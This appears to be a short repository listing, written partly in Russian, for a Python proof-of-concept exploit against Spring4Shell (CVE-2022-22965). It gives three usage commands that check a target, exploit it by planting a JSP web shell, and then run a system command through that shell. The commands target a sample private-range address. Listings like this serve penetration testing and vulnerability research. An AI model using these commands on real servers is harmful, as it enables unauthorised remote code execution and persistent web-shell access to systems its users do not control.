rwincey/spring4shell-cve-2022-22965Python-based proof-of-concept эксплойт для CVE-2022-22965 (Spring4Shell) с возможностями проверки уязвимости, удалённой эксплуатации и выполнения команд через веб-шелл.
python spring4shell.py -u http://192.168.110.117:8080/helloworld/greeting --check
python spring4shell.py -u http://192.168.110.117:8080/helloworld/greeting -f shell.jsp --exploit
python spring4shell.py -u http://192.168.110.117:8080/shell.jsp --cmd id
